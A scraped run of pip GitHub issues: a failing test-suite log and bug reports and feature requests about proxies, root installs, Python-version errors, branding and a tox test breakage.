tests/lib/local_repos.py:63: in local_checkout
    _create_svn_initools_repo(repo_url_path)
tests/lib/local_repos.py:22: in _create_svn_initools_repo
    subprocess.check_call('svnadmin create INITools'.split(), cwd=directory)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:359: in check_call
    retcode = call(*popenargs, **kwargs)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:340: in call
    with Popen(*popenargs, **kwargs) as p:
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x111849e50>, args = ['svnadmin', 'create', 'INITools'], executable = b'svnadmin', preexec_fn = None, close_fds = True, pass_fds = ()
cwd = '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_from_reqs_file0/cache', env = None, startupinfo = None
creationflags = 0, shell = False, p2cread = -1, p2cwrite = -1, c2pread = -1, c2pwrite = -1, errread = -1, errwrite = -1, restore_signals = True, start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
__________________________________________________________ Tests_UninstallUserSite.test_uninstall_from_usersite __________________________________________________________

self = <tests.functional.test_uninstall_user.Tests_UninstallUserSite object at 0x1118dc100>, script = <tests.lib.PipTestEnvironment object at 0x111895460>

    @pytest.mark.network
    def test_uninstall_from_usersite(self, script):
        """
            Test uninstall from usersite
            """
        result1 = script.pip('install', '--user', 'INITools==0.3')
        result2 = script.pip('uninstall', '-y', 'INITools')
>       assert_all_changes(result1, result2, [script.venv / 'build', 'cache'])
E       tests.lib.TestFailure: Unexpected changes:
E       deleted: 
E       created: venv/user/lib/python3.8/site-packages, venv/user/lib/python3.8
E       updated:

tests/functional/test_uninstall_user.py:22: TestFailure
_____________________________________________ Tests_UninstallUserSite.test_uninstall_from_usersite_with_dist_in_global_site ______________________________________________

self = <tests.functional.test_uninstall_user.Tests_UninstallUserSite object at 0x1119462e0>
virtualenv = <VirtualEnvironment /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_from_usersite_w0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x111946a30>

    def test_uninstall_from_usersite_with_dist_in_global_site(
            self, virtualenv, script):
        """
            Test uninstall from usersite (with same dist in global site)
            """
        _patch_dist_in_site_packages(virtualenv)
    
        script.pip_install_local('pip-test-package==0.1', '--no-binary=:all:')
    
        result2 = script.pip_install_local(
            '--user', 'pip-test-package==0.1.1', '--no-binary=:all:')
        result3 = script.pip('uninstall', '-vy', 'pip-test-package')
    
        # uninstall console is mentioning user scripts, but not global scripts
        assert normcase(script.user_bin_path) in result3.stdout, str(result3)
        assert normcase(script.bin_path) not in result3.stdout, str(result3)
    
        # uninstall worked
>       assert_all_changes(result2, result3, [script.venv / 'build', 'cache'])
E       tests.lib.TestFailure: Unexpected changes:
E       deleted: 
E       created: venv/user/lib/python3.8/site-packages, venv/user/lib/python3.8
E       updated:

tests/functional/test_uninstall_user.py:42: TestFailure
_____________________________________________________ Tests_UninstallUserSite.test_uninstall_editable_from_usersite ______________________________________________________

self = <tests.functional.test_uninstall_user.Tests_UninstallUserSite object at 0x111a4c2b0>, script = <tests.lib.PipTestEnvironment object at 0x111a484f0>
data = <tests.lib.TestData object at 0x111a48d60>

    def test_uninstall_editable_from_usersite(self, script, data):
        """
            Test uninstall editable local user install
            """
        assert script.user_site_path.exists()
    
        # install
        to_install = data.packages.joinpath("FSPkg")
>       result1 = script.pip(
            'install', '--user', '-e', to_install
        )

tests/functional/test_uninstall_user.py:59: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <tests.lib.PipTestEnvironment object at 0x111a484f0>, args = ('python', '-m', 'pip', 'install', '--user', '-e', ...), kw = {'expect_stderr': True}
cwd = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/workspace/scratch'), run_from = None
allow_stderr_error = False, allow_stderr_warning = False, expect_error = None

    def run(self, *args, **kw):
        """
            :param allow_stderr_error: whether a logged error is allowed in
                stderr.  Passing True for this argument implies
                `allow_stderr_warning` since warnings are weaker than errors.
            :param allow_stderr_warning: whether a logged warning (or
                deprecation message) is allowed in stderr.
            :param expect_error: if False (the default), asserts that the command
                exits with 0.  Otherwise, asserts that the command exits with a
                non-zero exit code.  Passing True also implies allow_stderr_error
                and allow_stderr_warning.
            :param expect_stderr: whether to allow warnings in stderr (equivalent
                to `allow_stderr_warning`).  This argument is an abbreviated
                version of `allow_stderr_warning` and is also kept for backwards
                compatibility.
            """
        if self.verbose:
            print('>> running %s %s' % (args, kw))
    
        cwd = kw.pop('cwd', None)
        run_from = kw.pop('run_from', None)
        assert not cwd or not run_from, "Don't use run_from; it's going away"
        cwd = cwd or run_from or self.cwd
        if sys.platform == 'win32':
            # Partial fix for ScriptTest.run using `shell=True` on Windows.
            args = [str(a).replace('^', '^^').replace('&', '^&') for a in args]
    
        # Remove `allow_stderr_error` and `allow_stderr_warning` before
        # calling run() because PipTestEnvironment doesn't support them.
        allow_stderr_error = kw.pop('allow_stderr_error', None)
        allow_stderr_warning = kw.pop('allow_stderr_warning', None)
    
        # Propagate default values.
        expect_error = kw.get('expect_error')
        if expect_error:
            # Then default to allowing logged errors.
            if allow_stderr_error is not None and not allow_stderr_error:
                raise RuntimeError(
                    'cannot pass allow_stderr_error=False with '
                    'expect_error=True'
                )
            allow_stderr_error = True
    
        elif kw.get('expect_stderr'):
            # Then default to allowing logged warnings.
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'expect_stderr=True'
                )
            allow_stderr_warning = True
    
        if allow_stderr_error:
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'allow_stderr_error=True'
                )
    
        # Default values if not set.
        if allow_stderr_error is None:
            allow_stderr_error = False
        if allow_stderr_warning is None:
            allow_stderr_warning = allow_stderr_error
    
        # Pass expect_stderr=True to allow any stderr.  We do this because
        # we do our checking of stderr further on in check_stderr().
        kw['expect_stderr'] = True
>       result = super(PipTestEnvironment, self).run(cwd=cwd, *args, **kw)
E       AssertionError: Script returned code: 1

tests/lib/__init__.py:591: AssertionError
-------------------------------------------------------------------------- Captured stdout call --------------------------------------------------------------------------
Script result: python -m pip install --user -e /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg
  return code: 1
-- stderr: --------------------
    ERROR: Command errored out with exit status 1:
     command: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/workspace/venv/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps --user --prefix=
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg/
    Complete output (19 lines):
    running develop
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/setuptools0/install/setuptools/dist.py:473: UserWarning: Normalizing '0.1dev' to '0.1.dev0'
      warnings.warn(
    error: can't create or remove files in install directory
    
    The following error occurred while trying to add or remove files in the
    installation directory:
    
        [Errno 2] No such file or directory: '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/workspace/venv/user/lib/python3.8/site-packages/test-easy-install-1256.write-test'
    
    The installation directory you specified (via --install-dir, --prefix, or
    the distutils default setting) was:
    
        /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/workspace/venv/user/lib/python3.8/site-packages
    
    This directory does not currently exist.  Please create it and try again, or
    choose a different installation directory (using the -d or --install-dir
    option).
    
    ----------------------------------------
ERROR: Command errored out with exit status 1: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/workspace/venv/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' develop --no-deps --user --prefix= Check the logs for full command output.

-- stdout: --------------------
Obtaining file:///private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_u0/data/packages/FSPkg
Could not build wheels for FSPkg,since package 'wheel' is not installed.
Installing collected packages: FSPkg
  Running setup.py develop for FSPkg

======================================================================== short test summary info =========================================================================
FAIL tests/functional/test_freeze.py::test_freeze_svn
FAIL tests/functional/test_install.py::test_basic_install_editable_from_svn
FAIL tests/functional/test_install.py::test_user_config_accepted
FAIL tests/functional/test_install_reqs.py::test_multiple_requirements_files
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_subversion_usersite_editable_with_distribute
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_from_current_directory_into_usersite
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_user_conflict_in_usersite
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_user_conflict_in_globalsite
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_upgrade_user_conflict_in_globalsite
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_user_conflict_in_globalsite_and_usersite
FAIL tests/functional/test_install_wheel.py::test_install_user_wheel
FAIL tests/functional/test_uninstall.py::test_uninstall_editable_from_svn
FAIL tests/functional/test_uninstall.py::test_uninstall_from_reqs_file
FAIL tests/functional/test_uninstall_user.py::Tests_UninstallUserSite::()::test_uninstall_from_usersite
FAIL tests/functional/test_uninstall_user.py::Tests_UninstallUserSite::()::test_uninstall_from_usersite_with_dist_in_global_site
FAIL tests/functional/test_uninstall_user.py::Tests_UninstallUserSite::()::test_uninstall_editable_from_usersite
SKIP [1] tests/functional/test_configuration.py:19: Can't modify underlying file for any mode
SKIP [1] tests/functional/test_install.py:630: Python 2 only
SKIP [1] /Users/jaraco/code/public/pypa/pip/tests/functional/test_no_color.py:34: Unable to capture output using script: script --flush --quiet --return /tmp/pip-test-no-color.txt --command "pip uninstall  noSuchPackage"
SKIP [1] tests/functional/test_requests.py:4: <Skipped instance>
SKIP [1] tests/functional/test_search.py:81: Warehouse search behavior is different and no longer returns multiple results. See https://github.com/pypa/warehouse/issues/3717 for more information.
SKIP [1] tests/functional/test_vcs_bazaar.py:20: Bazaar is only required under Travis
SKIP [1] tests/functional/test_warning.py:52: Python 2 only
SKIP [1] tests/functional/test_warning.py:62: Python 2 only
SKIP [1] tests/unit/test_collector.py:235: condition: sys.platform != 'win32'
SKIP [2] tests/unit/test_collector.py:258: condition: sys.platform != 'win32'
SKIP [1] tests/unit/test_locations.py:94: Incompatible with venv
SKIP [1] tests/unit/test_locations.py:112: Incompatible with venv
SKIP [3] tests/unit/test_req.py:673: Test only available on Windows
SKIP [1] tests/unit/test_urls.py:27: condition: sys.platform != 'win32'
SKIP [1] tests/unit/test_urls.py:59: condition: sys.platform != 'win32'
SKIP [2] tests/unit/test_utils_subprocess.py:105: condition: sys.version_info >= (3,)
SKIP [1] tests/unit/test_vcs.py:24: Subversion is only required under Travis
XFAIL tests/functional/test_freeze.py::test_freeze_exclude_editable
XFAIL tests/functional/test_install_reqs.py::test_install_distribution_union_conflicting_extras
XFAIL tests/functional/test_yaml.py::test_yaml_based[install/conflicting_triangle]
XFAIL tests/functional/test_yaml.py::test_yaml_based[install/conflicting_diamond]
XFAIL tests/functional/test_yaml.py::test_yaml_based[install/extras-2]
============================================================================ warnings summary ============================================================================
/Users/jaraco/code/public/pypa/pip/.tox/python/lib/python3.8/site-packages/pip/_internal/req/req_file.py:209: UserWarning: Disabling all use of wheels due to the use of --build-option / --global-option / --install-option.
  cmdoptions.check_install_build_global(options, line.opts)

-- Docs: https://docs.pytest.org/en/latest/warnings.html
============================================== 16 failed, 1791 passed, 21 skipped, 5 xfailed, 1 warnings in 609.03 seconds ===============================================
ERROR: InvocationError for command /Users/jaraco/code/public/pypa/pip/.tox/python/bin/pytest --timeout 300 (exited with code 1)
________________________________________________________________________________ summary _________________________________________________________________________________
ERROR:   python: commands failed

```
</details>
user: jaraco
labels: C: tests: Testing and related things
issue_7805: state: open
title: pip does not respect proxy when downloading "wheel" as a dependency
body: **Environment**

* pip version: 18.0
* Python version: 3.5.6
* OS: linux

<!-- Feel free to add more information about your environment here -->
Platform: Xilinx Ultrascale+

**Description**
<!-- A clear and concise description of what the bug is. -->
When using --proxy, pip normally downloads any required dependencies for the requested package without issue. But there is an edge condition when the dependency is "wheel".  In this case, the attempt to download errors out because pip is not going through the proxy. The workaround is to install wheel separately first. This was observed when trying to download and build scipy 1.4.1 from source.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
pip downloads wheel through the proxy.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. From Linux on ARM, verify that wheel is not installed
2. pip install scipy --proxy <proxy>
3. pip errors out
4. pip install wheel --proxy <proxy>
5. pip install scipy --proxy <proxy>

It's ok if the scipy installation errors out because you don't have the compilers and required libraries setup.  The error described here occurs before you reach that point.

**Output**

```
home# pip3 install scipy --proxy proxy1.lmco.com:80 --trusted-host pypi.org --trusted-host pypi.python.org --trusted-host files.pythonhosted.org Collecting scipy
  Downloading https://files.pythonhosted.org/packages/04/ab/e2eb3e3f90b9363040a3d885ccc5c79fe20c5b8a3caa8fe3bf47ff653260/scipy-1.4.1.tar.gz (24.6MB)
    100% |################################| 24.6MB 3.8MB/s
  Installing build dependencies ... error
  Complete output from command /usr/bin/python3 -m pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-d3vvzxn3 --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple --trusted-host pypi.org --trusted-host pypi.python.org --trusted-host files.pythonhosted.org -- wheel setuptools Cython>=0.29.13 "numpy==1.13.3; python_version=='3.5' and platform_system!='AIX'" "numpy==1.13.3; python_version=='3.6' and platform_system!='AIX'" "numpy==1.14.5; python_version=='3.7' and platform_system!='AIX'" "numpy==1.17.3; python_version>='3.8' and platform_system!='AIX'" "numpy==1.16.0; python_version=='3.5' and platform_system=='AIX'" "numpy==1.16.0; python_version=='3.6' and platform_system=='AIX'" "numpy==1.16.0; python_version=='3.7' and platform_system=='AIX'" "numpy==1.17.3; python_version>='3.8' and platform_system=='AIX'" pybind11>=2.4.0:
  Ignoring numpy: markers 'python_version == "3.6" and platform_system != "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.7" and platform_system != "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version >= "3.8" and platform_system != "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.5" and platform_system == "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.6" and platform_system == "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.7" and platform_system == "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version >= "3.8" and platform_system == "AIX"' don't match your environment
  Collecting wheel
    Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7f92a75860>: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /simple/wheel/
    Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7f92a75710>: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /simple/wheel/
    Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7f92a75630>: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /simple/wheel/
    Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7f92a757b8>: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /simple/wheel/
    Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7f92a75208>: Failed to establish a new connection: [Errno 101] Network is unreachable',)': /simple/wheel/
    Could not find a version that satisfies the requirement wheel (from versions: )
  No matching distribution found for wheel

  ----------------------------------------
Command "/usr/bin/python3 -m pip install --ignore-installed --no-user --prefix /tmp/pip-build-env-d3vvzxn3 --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple --trusted-host pypi.org --trusted-host pypi.python.org --trusted-host files.pythonhosted.org -- wheel setuptools Cython>=0.29.13 "numpy==1.13.3; python_version=='3.5' and platform_system!='AIX'" "numpy==1.13.3; python_version=='3.6' and platform_system!='AIX'" "numpy==1.14.5; python_version=='3.7' and platform_system!='AIX'" "numpy==1.17.3; python_version>='3.8' and platform_system!='AIX'" "numpy==1.16.0; python_version=='3.5' and platform_system=='AIX'" "numpy==1.16.0; python_version=='3.6' and platform_system=='AIX'" "numpy==1.16.0; python_version=='3.7' and platform_system=='AIX'" "numpy==1.17.3; python_version>='3.8' and platform_system=='AIX'" pybind11>=2.4.0" failed with error code 1 in None
```

user: SamuraiAku
labels: type: bug: A confirmed bug or unintended behavior
C: proxy: Dealing with proxies and networking
C: PEP 517 impact: Affected by PEP 517 processing
issue_7802: state: open
title: make pip fail when run as root
body: **What's the problem this feature will solve?**
Too many people are doing "sudo pip" without knowing what that implies. There are legitimate reasons for it, but 95% of it is accidental and a --user install would be preferable.

**Describe the solution you'd like**
Pip should fail if run as root, in addition to defaulting to --user like on recent versions of Debian and Ubuntu.

**Alternative Solutions**
A very clear warning that pypi is a toilet and sudo and pip together are a recipe for disaster. But people will just ignore that so IMO it's preferable to break the functionality, or at least require an extra flag to enable.

**Additional context**
[These kinds of issues](https://devtalk.nvidia.com/default/topic/1072431/jetson-nano/cannot-install-scikit_learn-on-jetson-nano/post/5433060/#5433060) and system breakage caused by [this kind](https://devtalk.nvidia.com/default/topic/1044958/jetson-agx-xavier/scikit-learn-for-python-3-on-jetson-xavier/post/5301887/#5301887)  of authoritative advice, leading to endless threads with similar issues when an install in a venv or --user works fine.
user: mdegans
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7797: state: open
title: Confusing pip behavior when trying to install a package with an outdated Python version
body: Hello,

**Environment**

* pip version: 20.0.2
* Python version: 3.5.3
* OS: Debian 9 on WSL at work (yeah, not a simple setup)

**Description**

I have Python 3.5, and wanted to upgrade Matplotlib version from 3.0.3 to 3.1.3. I just found out that it [requires Python 3.6](https://github.com/matplotlib/matplotlib/blob/8ac3ea170fee9ab7b78767b9a7463332a5970880/setup.py#L256), but Pip never told me that, and its behavior was very confusing (no message of any kind).

**Expected behavior**


I think that Pip should tell the user why a specific version can not be installed when the requirements are not satisfied. Or at least have a generic message like "If you believe this package/version does exist, check that your installation fulfill the package requirements from its setup.py file".


**How to Reproduce / Output**

Have Python <3.6 (for ex 3.5), and run:

```bash
# pip search sees latest version
$ python3 -m pip  search matplotlib | grep "Python plotting package"
matplotlib (3.1.3)                 - Python plotting package

# but pip install does not. No message of any kind to explain why
$ python3 -m pip install --upgrade matplotlib
Defaulting to user installation because normal site-packages is not writeable
Requirement already up-to-date: matplotlib in ./.local/lib/python3.5/site-packages (3.0.3)
[...]

# let's try again and specify the exact version. Again, no message explaining why
$ python3 -m pip install matplotlib==3.1.3
Defaulting to user installation because normal site-packages is not writeable
ERROR: Could not find a version that satisfies the requirement matplotlib==3.1.3 (from versions: 0.86, 0.86.1, 0.86.2, 0.91.0, 0.91.1, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1rc1, 1.4.1, 1.4.2, 1.4.3, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0b1, 2.0.0b2, 2.0.0b3, 2.0.0b4, 2.0.0rc1, 2.0.0rc2, 2.0.0, 2.0.1, 2.0.2, 2.1.0rc1, 2.1.0, 2.1.1, 2.1.2, 2.2.0rc1, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 3.0.0rc2, 3.0.0, 3.0.1, 3.0.2, 3.0.3)
ERROR: No matching distribution found for matplotlib==3.1.3
```

user: Nodraak
labels: UX: User experience related
C: error messages: Improving error messages
issue_7793: state: open
title: pip Branding!
body: Cf: #7754 

We're now revamping our documentation in some ways, and now would be a great time to discuss improvements to pip's branding, such as consistency in referencing to it, logos, documentation "voice / tone" etc.

Relevant notes:

- https://github.com/pypa/pip/pull/7754#issuecomment-588194568 (logo discussion)
- https://github.com/pypa/pip/pull/7754#pullrequestreview-361044662 (capitalization of pip)

user: pradyunsg
labels: type: docs: Documentation related
type: maintenance: Related to Development and Maintenance Processes
issue_7788: state: open
title: TestDistutilsScheme.test_distutils_config_file_read broken in python 2.7 with tox using virtualenv 20.0.6
body: With previous tox using virtualenv 20.0.5 (during py27 setup)
```
$ tox -e py27 -- -k test_distutils_config_file_read
GLOB sdist-make: /home/xafer/other_dev/pip/setup.py
py27 inst-nodeps: /home/xafer/other_dev/pip/.tox/.tmp/package/1/pip-20.1.dev0.zip
py27 installed: DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support,apipkg==1.5,atomicwrites==1.3.0,attrs==19.3.0,cffi==1.14.0,configparser==4.0.2,contextlib2==0.6.0.post1,coverage==5.0.3,cryptography==2.8,csv23==0.1.6,enum34==1.1.9,execnet==1.7.1,freezegun==0.3.15,funcsigs==1.0.2,importlib-metadata==1.5.0,ipaddress==1.0.23,mock==3.0.5,more-itertools==5.0.0,pathlib2==2.3.5,pip==20.1.dev0,pluggy==0.13.1,pretend==1.0.9,py==1.8.1,pycparser==2.19,pytest==3.8.2,pytest-cov==2.8.1,pytest-forked==1.1.3,pytest-rerunfailures==6.0,pytest-timeout==1.3.4,pytest-xdist==1.27.0,python-dateutil==2.8.1,PyYAML==5.3,scandir==1.10.0,scripttest==1.3,setuptools==44.0.0,six==1.14.0,virtualenv==16.7.10,Werkzeug==0.16.0,wheel==0.34.2,zipp==1.2.0
py27 run-test-pre: PYTHONHASHSEED='3646811570'
py27 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' /home/xafer/other_dev/pip/tests/data/common_wheels
py27 run-test-pre: commands[1] | python /home/xafer/other_dev/pip/tools/tox_pip.py wheel -w /home/xafer/other_dev/pip/tests/data/common_wheels -r /home/xafer/other_dev/pip/tools/requirements/tests-common_wheels.txt
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
Looking in indexes: https://xfernandez:****@pypi.polydev.blue/root/ci/+simple/
Collecting setuptools>=40.8.0
  Downloading https://pypi.polydev.blue/root/pypi/%2Bf/180/081a244d0888b/setuptools-44.0.0-py2.py3-none-any.whl (583 kB)
     |████████████████████████████████| 583 kB 523 kB/s
  Saved ./tests/data/common_wheels/setuptools-44.0.0-py2.py3-none-any.whl
